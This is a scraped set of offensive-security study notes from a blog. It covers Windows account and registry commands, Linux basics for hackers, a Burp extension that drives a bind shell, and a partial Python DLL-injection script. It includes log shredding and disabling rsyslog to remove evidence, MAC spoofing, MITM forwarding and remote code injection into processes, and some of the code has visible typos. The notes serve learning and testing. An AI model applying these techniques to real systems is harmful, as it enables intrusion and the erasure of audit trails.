HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce :: Query Run keys reg query HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run reg query HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run :: List hidden files (registry hives) gci -Hidden Security Identifiers (SIDs)\n:: Get current user SID whoami /user :: Get all user SIDs wmic useraccount get name,sid :: Get group SIDs wmic group get name,sid,domain SID Format: (SID)-(revision level)-(identifier-authority)-(subauthority1)-(subauthority2)-...\nWindows Security Features\nLocal Group Policy \u0026ndash; Can be used to enable Virtualization Based Security and Credential Guard.\n:: Open Group Policy Editor gpedit.msc Windows Defender:\n# Check which protections are enabled Get-MpComputerStatus | findstr \u0026#34;True\u0026#34; User Management\n# Create a user interactively $Password = Read-Host -AsSecureString New-LocalUser \u0026#34;NEW_ACCOUNT_NAME\u0026#34; -Password $Password -FullName \u0026#34;USER_FULL_NAME\u0026#34; -Description \u0026#34;DESCRIPTION\u0026#34; # Add to administrators group Add-LocalGroupMember -Group \u0026#34;Administrators\u0026#34; -Member \u0026#34;NEW_ACCOUNT_NAME\u0026#34; # Remove user Remove-LocalUser -Name \u0026#34;USER_ACCOUNT_NAME\u0026#34; # Command prompt alternative net user \u0026lt;username\u0026gt; \u0026lt;password\u0026gt; /add net localgroup administrators \u0026lt;username\u0026gt; /add Microsoft Management Console (MMC)\n:: Open MMC mmc Windows Subsystem for Linux (WSL)\n# Install WSL (requires Administrator PowerShell and restart) Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux Quick Reference Tables Port Numbers\nService Port Secure Port Telnet 23 - SSH 22 - FTP 21 990 (FTPS) SMTP 25 465 (SMTPS) POP3 110 995 (POP3S) IMAP 143 993 (IMAPS) HTTP 80 443 (HTTPS) RDP 3389 - File Descriptor Numbers\nStream Number Description STDIN 0 Standard input STDOUT 1 Standard output STDERR 2 Standard error ","permalink":"https://onebee.blog/blog/collection/offensive/fundamentals/","summary":"Collection | Offensive | Fundamentals","title":"Offensive | Fundamentals"},{"content":"Attribution\nThese short Linux 201 notes are based on our own study of Linux Basics For Hackers: Getting Started with Networking, Scripting, and Security in Kali by OccupyTheWeb. If you are new to Linux, we highly recommend this book.\nGetting Started with the Basics The Linux Filesystem\nKey directories to know:\n/mnt: Where other filesystems are attached or mounted /media: Where CDs and USB devices are usually mounted /lib: Where you will find libraries (shared programs similar to Windows DLLs) Basic Commands\nEssential commands: pwd, whoami, cd, ls, man, locate, grep, cat, touch, mkdir, cp, mv, rm, rmdir\nFinding Files:\nwhereis: Returns the location, source, and man page of a binary which: Only returns the location of binaries in the PATH variable find: Displays exact name matches (use wildcards for broader searches) Wildcards:\n*: Matches any character(s) ?: Matches a single character [ ]: Matches characters inside the brackets. Example: [c,b]at matches \u0026lsquo;cat\u0026rsquo; and \u0026lsquo;bat\u0026rsquo; but not \u0026lsquo;hat\u0026rsquo;. Text Manipulation First, install Snort (a network intrusion detection system):\nsudo apt install snort Viewing Files\nUseful commands: head, tail, grep, more, less\nnl: Numbers the lines in a file sed: Stream editor for searching and replacing text SED examples\nReplace all occurrences:\nsed s/mysql/MySQL/g /etc/snort/snort.conf \u0026gt; snort2.conf Replace only the first occurrence:\nsed s/mysql/MySQL/ /etc/snort/snort.conf \u0026gt; snort2.conf Replace only the second occurrence:\nsed s/mysql/MySQL/2 snort.conf \u0026gt; snort2.conf Analyzing and Managing Networks Basic network commands: ifconfig, iwconfig\nChanging Network Settings\nChange IP address:\nifconfig eth0 192.168.182.155 Change network mask and broadcast address:\nifconfig eth0 192.168.182.115 netmask 255.255.0.0 broadcast 192.168.1.255 Spoofing Your MAC Address\n# Take down the interface ifconfig eth0 down # Set new MAC address ifconfig eth0 hw ether 00:11:22:33:44:55 # Bring the interface back up ifconfig eth0 up DHCP Process\nRequest a new IP address:\ndhclient eth0 DHCP uses UDP (server port 67, client port 68) and follows the DORA process:\nDiscovery \u0026ndash; Client sends DHCPDISCOVER Offer \u0026ndash; Server sends DHCPOFFER Request \u0026ndash; Client sends DHCPREQUEST Acknowledge \u0026ndash; Server sends DHCPACK DNS Configuration\nChange your DNS server:\necho \u0026#34;nameserver 1.1.1.1\u0026#34; \u0026gt; /etc/resolv.conf The OS queries each DNS server in the order they appear in /etc/resolv.conf.\nCustom IP-to-domain mapping:\nEdit /etc/hosts to create custom mappings. Use TAB (not space) between the IP and domain:\n192.168.1.1 bankofamerica.com Adding and Removing Software Using APT\nSearch for packages: apt-cache search \u0026lt;keyword\u0026gt; Install software: apt-get install \u0026lt;packagename\u0026gt; Remove software: apt-get remove \u0026lt;packagename\u0026gt; Purge (remove including config files): apt-get purge \u0026lt;packagename\u0026gt; Update package list: apt-get update Upgrade packages: apt-get upgrade Repository Categories (Ubuntu)\nmain \u0026ndash; Supported open source software universe \u0026ndash; Community-maintained open source software multiverse \u0026ndash; Software restricted by copyright or legal issues restricted \u0026ndash; Proprietary device drivers backports \u0026ndash; Packages from later releases Avoid: testing, experimental, unstable\nGUI Installers\nInstall Synaptic for a graphical package manager:\napt install synaptic Installing from Git\nExample: Installing bluediving (Bluetooth hacking suite):\ngit clone https://github.com/balle/bluediving.git Controlling File and Directory Permissions Key commands: chown, chgrp, chmod\nUnderstanding UMASK\nLinux assigns base permissions automatically (666 for files, 777 for directories). The umask value represents permissions to remove from these base values.\nDefault umask on Kali: 022 Resulting permissions: 644 for files, 755 for directories Check current value: umask Set personal default in: /home/\u0026lt;username\u0026gt;/.profile Special Permissions\nSUID (Set User ID):\nAllows any user to execute a file with the owner\u0026rsquo;s permissions Set with: chmod 4644 \u0026lt;filename\u0026gt; Appears as rws instead of rwx SGID (Set Group ID):\nGrants temporary elevated group permissions On directories: new files inherit the directory\u0026rsquo;s group ownership Set with: chmod 2644 \u0026lt;filename\u0026gt; Sticky Bit:\nLegacy permission for directory deletion rights Modern Linux largely ignores this Privilege Escalation Check:\nfind / -user root -perm -4000 Process Management Key commands: ps, top, nice, renice, kill, \u0026amp;, fg, at, crond\nViewing Processes\nRunning ps without options lists processes started by the current user on that terminal.\nProcess Priority with NICE\nThe nice command suggests priority levels for processes. Values range from -20 (highest priority) to +19 (lowest priority). The default is 0.\nOnly root can set negative values (higher priority) Any user can increase nice values (lower priority) Start a process with specific priority:\nnice -n -10 /bin/slowprocess Change priority of running process:\nrenice 20 \u0026lt;pid\u0026gt; Killing Processes\nRestart a process: kill -1 \u0026lt;pid\u0026gt; Force terminate: kill -9 \u0026lt;pid\u0026gt; Kill by name: killall -9 \u0026lt;process-name\u0026gt; Scheduling with AT\nThe at daemon runs commands at specified times:\nat 7:20am at\u0026gt; /root/myscanningscript Managing User Environment Variables Variables are strings in key-value pairs: KEY=value or KEY=value1:value2.\nTypes:\nShell variables: Lowercase, valid only in the shell where set Environment variables: System-wide, inherited by child processes Common Operations\nList all environment variables:\nset | more Change a value for the current session:\nHISTSIZE=0 Make changes permanent:\nexport HISTSIZE Customizing Your Prompt\nMake your prompt look like Windows CMD:\nexport PS1=\u0026#39;C:\\w\u0026gt; \u0026#39; Modifying PATH\nAdd a new directory to your PATH:\nPATH=$PATH:/\u0026lt;new-path\u0026gt; Creating User Variables\n# Create a variable TESTVAR=\u0026#34;test\u0026#34; echo $TESTVAR # Delete a variable unset TESTVAR # Export to make it available system-wide export TESTVAR Bash Scripting Every script starts with a shebang to specify the interpreter:\n#!/bin/bash Example: MySQL Scanner\n#!/bin/bash # This script finds hosts with MySQL installed nmap -sT 192.168.1.0/24 -p 3306 \u0026gt;/dev/null -oG MySQLscan cat MySQLscan | grep open \u0026gt; MySQLscan2 cat MySQLscan2 Example: Advanced MySQL Scanner with User Input\n#!/bin/bash echo \u0026#34;Enter the starting IP address: \u0026#34; read FirstIP echo \u0026#34;Enter the last octet of the last IP address: \u0026#34; read LastOctetIP echo \u0026#34;Enter the port number you want to scan for: \u0026#34; read port nmap -sT $FirstIP-$LastOctetIP -p $port \u0026gt;/dev/null -oG MySQLscan cat MySQLscan | grep open \u0026gt; MySQLscan2 cat MySQLscan2 Compressing and Archiving Archiving with TAR\nCreate an archive:\ntar -cvf tarball.tar file1 file2 file3 View archive contents:\ntar -tvf tarball.tar Extract files:\ntar -xf tarball.tar Note: If extracted files already exist, tar replaces them.\nCompression Methods\nTool Extension Speed Compression gzip .tar.gz Fast Medium bzip2 .tar.bz2 Slow Best compress .tar.Z Fastest Worst GZIP:\ngzip file.tar # Compress gunzip file.tar.gz # Decompress BZIP2:\nbzip2 files.tar # Compress bunzip2 files.tar.bz2 # Decompress Creating Disk Images with DD\nThe dd command makes bit-by-bit copies of files, filesystems, or entire drives.\nBasic syntax:\ndd if=inputfile of=outputfile Example:\ndd if=/dev/sdb of=/root/flashcopy Useful options:\nbs=4096 \u0026ndash; Set block size (typically 4KB) conv=noerror \u0026ndash; Continue copying even if errors occur Full example:\ndd if=/dev/media of=/root/flashcopy bs=4096 conv=noerror Filesystem and Storage Device Management Key concepts:\nMounting: Attaching drives to the filesystem Partitions: Sections of drives (represented with numbers in device names) The /dev directory contains files representing each attached device.\nViewing Partitions\nsudo fdisk -l Device Types\nCharacter devices (c): External devices like mice and keyboards that send data character by character. Block devices (b): Hard drives and DVDs that communicate in blocks of data for higher throughput. Listing Block Devices\nlsblk Mounting and Unmounting\nStorage devices must be both physically connected and logically attached (mounted) to be accessible.\nCommon mount points:\n/mnt \u0026ndash; Internal hard drives /media \u0026ndash; External USB devices Mount a device:\nmount /dev/sdb1 /mnt Unmount a device:\numount /dev/sdb1 The /etc/fstab file (filesystem table) stores which filesystems mount at boot.\nChecking Disk Space\ndf Filesystem Check\nCheck and repair filesystem errors:\nfsck /dev/sdb1 Important: Always unmount the drive before running fsck.\nThe Logging System Linux uses syslogd (or rsyslogd) to log events automatically.\nConfiguration file: /etc/rsyslog.conf\nLogging Rules Format\nfacility.priority action Facilities:\nauth/authpriv \u0026ndash; Security/authorization messages cron \u0026ndash; Clock daemons daemon \u0026ndash; Other daemons kern \u0026ndash; Kernel messages lpr \u0026ndash; Printing system mail \u0026ndash; Mail system user \u0026ndash; Generic user-level messages Priorities:\nFrom highest to lowest: debug, info, notice, warning, err, crit, alert, emerg. When you specify a priority, messages of that priority and higher are logged. Actions:\nUsually a filename in /var/log (e.g., /var/log/auth.log) Log Rotation\nLog rotation archives old logs and creates fresh ones. Configuration: /etc/logrotate.conf\nExample: /var/log/auth becomes /var/log/auth.1, then /var/log/auth.2, etc.\nRemoving Evidence Securely\nThe shred command overwrites files before deletion:\nshred -f -n 10 /var/log/auth.log.* Options:\n-f : Change permissions to allow writing if necessary -n 10 : Overwrite 10 times instead of default Disabling Logging\nStop the rsyslog daemon (requires root):\nservice rsyslog stop Using and Abusing Services Service\nA service is an application that runs in the background waiting for requests.\nManage services:\nservice \u0026lt;service-name\u0026gt; start|stop|restart Apache Web Server\nInstall and start:\napt-get install apache2 service apache2 start Test by visiting http://localhost/. The default web root is /var/www/html/index.html.\nMySQL\nStart the service:\nservice mysql start Log in:\nsudo mysql -u root -p Common SQL commands:\nSELECT : Retrieve data UNION : Combine results from multiple selects INSERT : Add new data UPDATE : Modify existing data DELETE : Remove data Useful MySQL commands:\n-- List users select user, host, password from mysql.user; -- List databases show databases; -- Select a database use mysql; -- List tables show tables; -- Describe table structure describe user; -- Select data SELECT columns FROM table; SELECT * FROM table; Connect to a remote database:\nmysql -u root -p 192.168.4.4 PostgreSQL with Metasploit\nMetasploit uses PostgreSQL to store modules and scan results.\nStart the database:\nservice postgresql start Initialize Metasploit database:\nmsfconsole msfdb init Create a database user:\nsu postgres createuser msf_user -P createdb --owner=msf_user test_db exit Connect Metasploit:\ndb_connect msf_user:password@127.0.0.1/test_db db_status Becoming Secure and Anonymous Basic command: traceroute\nProxy Servers\nProxy servers act as intermediaries for your traffic.\nConfigure proxychains:\nEdit /etc/proxychains4.conf and add proxies to the [ProxyList] section:\n[ProxyList] socks4 114.134.186.12 22020 socks4 188.187.190.59 8888 Scan through a proxy:\nproxychains nmap -sT -Pn \u0026lt;ip-address\u0026gt; Browse through a proxy:\nproxychains firefox testsite.example.com Available modes: dynamic chaining, random chaining\nUnderstanding and Inspecting Wireless Networks Basic command: iwconfig\nScan for access points:\niwlist wlan0 scan Using NMCLI\nThe Network Manager command-line interface provides high-level network control.\nList Wi-Fi access points:\nnmcli dev wifi Connect to a network:\nnmcli dev wifi connect \u0026lt;AP-SSID\u0026gt; password \u0026lt;AP-password\u0026gt; Managing the Linux Kernel and Loadable Kernel Modules Loadable Kernel Modules (LKMs)\nLKMs can be added without rebuilding the entire kernel. They have access to the lowest system levels.\nSecurity note: Rootkits often use LKMs to embed themselves in the kernel, potentially controlling what the system reports about processes, ports, and services.\nCheck kernel version:\nuname -a cat /proc/version Kernel Tuning with SYSCTL\nThe sysctl command tunes kernel parameters (memory allocation, networking features, security hardening). Note, changes made with sysctl last only until reboot. For permanent changes, edit /etc/sysctl.conf.\nList all kernel options:\nsysctl -a | less Enable IP forwarding (useful for MITM attacks):\nsysctl -w net.ipv4.ip_forward=1 Disable ICMP echo requests (block ping):\nsysctl -w net.ipv4.icmp_echo_ignore_all=1 Reload configuration:\nsysctl -p Managing Kernel Modules\nList installed modules:\nlsmod Show module information:\nmodinfo soundcore Add a module:\nmodprobe -a \u0026lt;module-name\u0026gt; Remove a module:\nmodprobe -r \u0026lt;module-name\u0026gt; View kernel message buffer:\ndmesg Automating Tasks with Job Scheduling The cron daemon checks the crontab for commands to run at specified times.\nSystem-wide scheduling: /etc/crontab\nTime specification formats:\nRange: 1-5 List: 1,3,5 Edit your crontab:\ncrontab -e Crontab Shortcuts\nSpecial shortcuts for common schedules:\n@yearly or @annually @monthly @weekly @daily or @midnight @noon @reboot Usage: @shortcut \u0026lt;user\u0026gt; \u0026lt;command\u0026gt;\nStartup Scripts (RC)\nWhen Linux boots, init runs scripts from /etc/init.d/rc to start services.\nRunlevels:\n0 \u0026ndash; Halt the system 1 \u0026ndash; Single-user/minimal mode 2-5 \u0026ndash; Multiuser modes 6 \u0026ndash; Reboot Manage startup services:\nupdate-rc.d \u0026lt;service-name\u0026gt; defaults update-rc.d \u0026lt;service-name\u0026gt; disable|enable|remove GUI alternative: rcconf\nPython Scripting Basics Install pip (Python package manager):\napt-get install python3-pip Install packages from PyPI:\npip3 install \u0026lt;package-name\u0026gt; Default install location: /usr/local/lib/\u0026lt;python-version\u0026gt;/dist-packages\nCheck installed package info:\npip3 show \u0026lt;package-name\u0026gt; Install from source:\npython setup.py install Working with Modules\nModule: A module is code saved in a separate file for reuse. To use a module, you must import it:\nimport module_name ","permalink":"https://onebee.blog/blog/collection/foundations/linux-201/","summary":"Collection | Foundations | Linux 201","title":"Foundations | Linux 201"},{"content":"Attribution\nThis Python 201 guide is based on our notes from the TCM Security - Python 201 for Hackers video course by Riley Kidd.\nWe highly recommend this course as a great starting point for learning Python; it was instrumental in our understanding of the subject. We would like to extend a big thank you to the TCM Security Team for providing such valuable resources!\nExtending Burp Introduction Burp Suite is a popular web application proxy frequently used for security testing. The Burp Extender allows you to add custom functionality to the tool, and many popular extensions already exist to automate security testing.\nYou can interface with Burp Suite using various APIs. While Burp is written in Java, you can create extensions in Python by using Jython (a Java implementation of Python).\nSteps to create an extension\nInstall Jython: Download the standalone JAR and configure its location in the Extender options tab. Create a Python script containing at least a BurpExtender class. Add your desired functionality within the script. Load the script via the Extender tab. Custom Burp Extension Preparing Burp Suite\nDownload: Visit portswigger.net and navigate to Products \u0026gt; Burp Suite Community Edition. Install: Use the default settings. Jython settings: Go to Burp Suite \u0026gt; Extensions \u0026gt; Extensions settings \u0026gt; Extension \u0026gt; Python environment and point the \u0026ldquo;Location of Jython standalone JAR file\u0026rdquo; to your .jar file. Helper Addition: To make debugging easier, download the helper from github.com/securityMB/burp-exceptions. Save the raw guide file to your extensions directory and ensure it has a .py extension. Preparing Jython\nDownload: Visit jython.org, go to Download \u0026gt; Jython Standalone \u0026gt; Versions, and download via the browser. Burp Suite API: Navigate to Burp Suite \u0026gt; Extensions \u0026gt; APIs and search for ITab. Adding the module to Burp: Go to Burp Suite \u0026gt; Extensions \u0026gt; Installed \u0026gt; Add. Select Python as the extension type. Select your burp_module.py file. Demo Example\nFeel free to experiment by commenting and uncommenting sections as you see fit.\n# for creating the gui in burp from burp import IBurpExtender, ITab from javax import swing from java.awt import BorderLayout # others import sys, time, socket, threading from exceptions_fix import FixBurpExceptions # implement the burp extender interface # -- required by burp for an extension class BurpExtender(IBurpExtender, ITab): def registerExtenderCallbacks(self, callbacks): self.clicked = False self.response_data = None self.kill_threads = False sys.stdout = callbacks.getStdout() self.callbacks = callbacks self.callbacks.setExtensionName(\u0026#34;Bind shell\u0026#34;) self.tab = swing.JPanel(BorderLayout()) # adding more components onto our tab # creating the panel text_panel = swing.JPanel() # create the boxes box_vertical = swing.Box.createVerticalBox() box_horizontal = swin.Box.createHorizontalBox() # text area to interact with -- specifying the target self.ip_address = swing.JTextArea(\u0026#39;\u0026#39;, 2, 100) # wrap the lines self.ip_address.setLineWrap(True) # adding a border self.ip_address.border = swing.BorderFactory.createTitledBorder(\u0026#34;IP Address:\u0026#34;) # add to the horizontal box box_horizontal.add(self.ip_address) # add horizontal box to the vertical box box_vertical.add(box_horizontal) # text area to interact with -- specifying the command # create horizontal box box_horizontal = swing.Box.createHorizontalBox() self.user_command = swing.JTextArea(\u0026#39;\u0026#39;, 2, 100) self.user_command.setLineWrap(True) self.user_command.border = swing.BorderFactory.createTitledBorder(\u0026#34;Command:\u0026#34;) box_horizontal.add(self.user_command) box_vertical.add(box_horizontal) # Creating the buttons box_horizontal = swing.Box.createHorizontalBox() button_panel = swing.JPanel() # adding the buttons -- connect;send;disconnect self.connect_button = swing.JButton(\u0026#39;[ --- Connect --- ]\u0026#39;, actionPerformed=self.connect) self.send_button = swing.JButton(\u0026#39;[ --- Send Command --- ]\u0026#39;, actionPerformed=self.send) self.disconnect_button = swing.JButton(\u0026#39;[ --- Disconnect --- ]\u0026#39;, actionPerformed=self.disconnect) # by default, we do not want to be able to press the disconnect button self.disconnect_button.enabled = False # also do not want to be sending anything to nowhere self.send_button.enabled = False # add the buttons to the panel button_panel.add(self.connect_button) button_panel.add(self.send_button) button_panel.add(self.disconnect_button) # adding the button panel box_horizontal.add(button_panel) box_vertical.add(box_horizontal) # adding the text area -- to see the interaction between burp and the bind shell box_horizontal = swing.Box.createHorizontalBox() self.output = swing.JTextArea(\u0026#39;\u0026#39;, 25, 100) self.output = setLineWrap(True) self.output = setEditable(False ) # add the scroll pane scroll = swing.JScrollPane(self.output) box_horizontal.add(scroll) box_vertical.add(box_horizontal)\t# add the vertical box to the panel text_panel.add(box_vertical) # add the text panel to the tab self.tab.add(text_panel) callbacks.addSuiteTab(self) return def getTabCaption(self): return \u0026#34;Bind shell\u0026#34; def getUIComponent(self): return self.tab # adding the button functions # button clicks are associated with a type of event def send(self, event): # variable used to later talk to our threads self.clicked = True # sleep for half a sec -- race condition # prevent the burp gui from locking up time.sleep(0.5) self.output.text = self.response_data # create the threads def send_thread(self): while True: if self.kill_threads: sys.exit() if self.clicked: self.clicked = False # process the message -- send the user\u0026#39;s command self.s.send(self.user_command.text) def recv_thread(self): while True: if self.kill_threads: sys.exit() data = self.s.recv(4096).replace(\u0026#34;Enter Command\u0026gt; \u0026#34;, \u0026#34;\u0026#34;) if data: self.response_data = data def connect(self, event): try: # create the socket self.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # connect to the ip the user enters into the text field self.s.connect((self.ip_address.text, 1234)) # tell the process not to kill our threads self.kill_threads = False # set up a few threads -- we want to send and receive data at the same time # -- without hanging the already existing burp gui threading.Thread(target=self.send_thread).start() threading.Thread(target=self.recv_thread).start() # clean up the gui self.connect_button.enabled = False self.disconnect_button.enabled = True self.send_button.enabled = True self.ip_address.enabled = False # print out some useful msg self.output.text = \u0026#34;Connected to bind shell!\u0026#34; except: self.output.text = \u0026#34;Could not connect, try again!\u0026#34; def disconnect(self, event): # send exit to the bind shell self.s.send(\u0026#34;exit\u0026#34;) # close the socket self.s.close() # tell the process we want to kill our threads self.kill_threads = True # clean up the gui self.connect_button.enabled = True self.disconnect_button.enabled = False self.send_button.enabled = False self.ip_address.enabled = True self.output.text = \u0026#34;Disconnected from bind shell!\u0026#34; FixBurpExceptions() Debugging General Accept that bugs happen all the time. Debugging is the process of finding, isolating, and fixing bugs when something is not working as expected. Fixing syntax errors is a form of debugging. Using print statements (e.g., print(\u0026quot;here\u0026quot;)) is a common debugging technique. Breakpoints in a debugger are more effective for larger, complex programs. Breakpoints Breakpoints freeze or break an application at a specific point, allowing you to inspect or change variables, memory, or registers. Conditional breakpoints only trigger when a specific condition is met. Breakpoints help identify the source of a problem and track down bugs. Testing identifies problems; debugging fixes them (e.g., identifying an SQLi vulnerability is testing, while patching it is debugging). Terminology Static analysis: Reading the program without executing it. Source code analysis: Automatically checking for known bugs. Tracing or Print Debugging: Using sequential print statements to track execution. Remote Debugging: Debugging a program running on a different system. Post-mortem Debugging: Debugging based on crash dumps and error logs. Notes Debugging is hard, and tracing root causes can be complex. It is often easy to find the effect of a bug, but difficult to find the cause. Some bugs are hard to reproduce. Interdependencies can cause a fix to introduce a new bug. Debugging can often take longer than the time it took to create the bug. While print statements are useful, they have limitations. Debugging a Script pdb \u0026ndash; The Python Debugger\nComes with the standard Python distribution. No additional installation is required. Demo Example\nFeel free to experiment by commenting and uncommenting sections as you see fit.\nprint(\u0026#34;-\u0026#34;*80) ## --------------- Loading PDB --------------- ## breakpoint() test = \u0026#34;test\u0026#34; print(test) # NOTE -- by default, python will import pdb and call pdb.set_trace() # -- set_trace hardcodes a breakpoint where the method was called # # adding a breakpoint # # NOTE -- runnig it -- once you run it -- breakpoint will be hit # breakpoint() # NOTE -- loading the debugger in a different way # -- use `python -m pdb pdb_demo.py` # -- will load the debugger before even starting the program ## --------------- PDB CONTROL commands --------------- ## # PDB CONTROL commands # -- you will have access to the program within the debugger # PDB CONTROL commands -- exiting # -- use `quit` or `exit` to exit it # PDB CONTROL commands -- restarting the program # -- use `run` to restart the program at any time # PDB CONTROL commands -- continue execution # -- use `c` / `cont` / `continue` to continue execution # -- (till the next breakpoint is found) # PDB CONTROL commands -- stepping through the code -- next # -- stepping through the code -- `n` or `next` # -- until the next line and stays within the current function # PDB CONTROL commands -- stepping through the code -- step # -- stepping through the code -- `s` or `step` -- (step into) # -- execute the current line and will stop an a foreign function if one is called # PDB CONTROL commands -- help # -- use `help` to display all the documented commands in pdb # -- getting more info about a command -- `help c` # PDB CONTROL commands -- breakpoint # -- use `b` or `break` to list all the break points # -- with a line number argument --\u0026gt; set a break at the line # -- `b 3` # PDB CONTROL commands -- list the source code of the current file # -- use `l` or `list` # -- viewing only the firs 4 lines -- `l 1,4` # -- use `ll` or `longlist` to list the source code for the whole file # PDB CONTROL commands -- delete/disable a breakpoint # -- use `disable` with the bpnumber -- `disable 1` ## --------------- DEBUGGING with PDB --------------- ## # breakpoint() # once run -- use `p test` to view the value of the variable test at this point of execution # -- or `print(test)` -- you are passing an expression to be evaluated to python # -- or modifying the variable -- `test=\u0026#34;123\u0026#34;` and `print(test)` # -- or introduce a new variable -- `new=\u0026#34;456\u0026#34;` and `print(new)` # NOTE -- breakpoint numbers # -- whenever you add a breakpoint, the debugger assings a number to it # -- starting with 1 and incrementing for each additional breakpoint which is added # NOTE -- jumping during execution # -- change the flow of the program during run time # -- `j` or `jump` to skip or jump to certain areas within your code # -- like to jump to line 6 -- `j 6` # CAREFUL -- you can not jump into a function before the arguments are defined # -- or into the middle of the try-except block ## --------------- DEBUGGING with PDB -- loop example --------------- ## for i in range(10): print(i) print(\u0026#34;-\u0026#34;*80) ## --------------- END --------------- ## Closing General Recommendations and Next Steps\nPractice consistently. Read and understand advanced scripts and tooling. Modify, improve, and port existing scripts and tooling. Create your own scripts and tooling. Approach testing from a programmer\u0026rsquo;s perspective. ","permalink":"https://onebee.blog/blog/collection/foundations/python-201-p5/","summary":"Collection | Foundations | Python 201 | Part 5 - Extending Burp","title":"Foundations | Python 201 - P5"},{"content":"Attribution\nThis Python 201 guide is based on our notes from the TCM Security - Python 201 for Hackers video course by Riley Kidd.\nWe highly recommend this course as a great starting point for learning Python; it was instrumental in our understanding of the subject. We would like to extend a big thank you to the TCM Security Team for providing such valuable resources!\nRemote DLL Injection Steps\nAllocate memory in a remote process Write a DLL location into that remote memory Have the external process load that DLL using the load library function Example: hello_world.c\nThis demonstrates DLL injection:\nBOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: MessageBox(NULL, L\u0026#34;Hello world!\u0026#34;, L\u0026#34;Hello World!\u0026#34;, NULL); break; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } Loading and Retesting\nYou can only load the DLL into a process once using load library. If you want to retest a new injection, you\u0026rsquo;ll need to choose a different process ID each time you run your script.\nDemo Example: Project-1\nFeel free to experiment by commenting and uncommenting sections as you see fit.\nfrom ctypes import * from ctypes import wintypes print(\u0026#34;-\u0026#34;*80) ## --------------- CONSTANTS AND VARIABLES --------------- ## kernel32 = windll.kernel32 LPCTSTR = c_char_p SIZE_T = c_size_t ## --------------- FUNCTION DEFINITIONS --------------- ## ## -- Function definitions -- OpenProcess -- ## \u0026#34;\u0026#34;\u0026#34;url:https://learn.microsoft.com/en-us/windows/win32/api/ processthreadsapi/nf-processthreadsapi-openprocess\u0026#34;\u0026#34;\u0026#34; OpenProcess = kernel32.OpenProcess OpenProcess.argtypes = (wintypes.DWORD, wintypes.BOOL, wintypes.DWORD) OpenProcess.restype = wintypes.HANDLE ## -- Function definitions -- Virtual Alloc Ex -- ## \u0026#34;\u0026#34;\u0026#34;url:https://learn.microsoft.com/en-us/windows/win32/api/ memoryapi/nf-memoryapi-virtualallocex\u0026#34;\u0026#34;\u0026#34; VirtualAllocEx = kernel32.VirtualAllocEx VirtualAllocEx.argtypes = (wintypes.HANDLE, wintypes.LPVOID, SIZE_T, wintypes.DWORD, wintypes.DWORD) VirtualAllocEx.restype = wintypes.LPVOID ## -- Function definitions -- Write Process Memory -- ## \u0026#34;\u0026#34;\u0026#34;url:https://learn.microsoft.com/en-us/windows/win32/api/ memoryapi/nf-memoryapi-writeprocessmemory\u0026#34;\u0026#34;\u0026#34; WriteProcessMemory = kernel32.WriteProcessMemory WriteProcessMemory.argtypes = (wintypes.HANDLE, wintypes.LPVOID, wintypes.LPCVOID, SIZE_T, POINTER(SIZE_T)) WriteProcessMemory.restype = wintypes.BOOL ## -- Function definitions -- Get Module Handle A -- ## \u0026#34;\u0026#34;\u0026#34;url:https://learn.microsoft.com/en-us/windows/win32/api/ libloaderapi/nf-libloaderapi-getmodulehandlea\u0026#34;\u0026#34;\u0026#34; GetModuleHandle = kernel32.GetModuleHandleA GetModuleHandle.argtypes = (LPCSTR, ) GetModuleHandle.restype = wintypes.HANDLE ## -- Function definitions -- Get Proc Address -- ## \u0026#34;\u0026#34;\u0026#34;url:https://learn.microsoft.com/en-us/windows/win32/api/ libloaderapi/nf-libloaderapi-getprocaddress\u0026#34;\u0026#34;\u0026#34; GetProcAddress = kernel32.GetProcAddress GetProcAddress.argtypes = (wintypes.HANDLE, wintypes.LPCTSTR) GetProcAddress.restype = wintypes.LPVOID ## -- Function definitions -- Create Remote Thread -- ## \u0026#34;\u0026#34;\u0026#34;url:https://learn.microsoft.com/en-us/windows/win32/api/ processthreadsapi/nf-processthreadsapi-createremotethread\u0026#34;\u0026#34;\u0026#34; CreateRemoteThread = kernel32.CreateRemoteThread # Security Attributes Structure \u0026#34;\u0026#34;\u0026#34;https://learn.microsoft.com/en-us/previous-versions/windows/desktop/ legacy/aa379560(v=vs.85)\u0026#34;\u0026#34;\u0026#34; class _SECURITY_ATTRIBUTES(Structure): _fields_ = [(\u0026#39;nLength\u0026#39;, wintypes.DWORD), (\u0026#39;lpSecurityDescriptor\u0026#39;, wintypes.LPVOID), (\u0026#39;bInheritHandle\u0026#39;, wintypes.BOOL),] SECURITY_ATTRIBUTES = _SECURITY_ATTRIBUTES LPSECURITY_ATTRIBUTES = POINTER(_SECURITY_ATTRIBUTES) LPTHREAD_START_ROUTINE = wintypes.LPVOID CreateRemoteThread = kernel32.CreateRemoteThread CreateRemoteThread.argtypes = (wintypes.HANDLE, LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, wintypes.LPVOID, wintypes.DWORD, wintypes.LPDWORD) CreateRemoteThread.restype = wintypes.HANDLE ## --------------- CONSTANTS FOR WORKING WITH MEMORY --------------- ## # VirtualAllocEx -- flAllocationType MEM_COMMIT = 0x00001000 MEM_RESERVE = 0x00002000 # VirtualAllocEx -- flProtect PAGE_READWRITE = 0x04 # CreateRemoteThread -- dwCreationFlags EXECUTE_IMMEDIATELY = 0x0 # OpenProcess -- dwDesiredAccess PROCESS_ALL_ACCESS = (0x000F0000 | 0x00100000 | 0x00000FFF) ## ----- INJECTING THE DLL -- Setting up the DLL\u0026#39;s----- ## # use *hello_world.c* and it\u0026#39;s compiled dll to demonstrate dll injection # attach the dll in the remote process --\u0026gt; launch message box # specify where the compiled DLL is located dll = b\u0026#34;c:\\\\Users\\\\user\\\\Documents\\\\pyhton201\\\\hello_world.dll\u0026#34; # NOTE -- to inject the dll into a remote process we need to know that # -- that process\u0026#39;s id # Sacrificial Process -- Start notepad -- to inject an already running process # -- alternatively, we could start a new process an inject that # -- use task manager to find out the process id pid = 2160 # opening a handle to the sacrificial process # -- dwDesiredAccess; bInheritHandle; 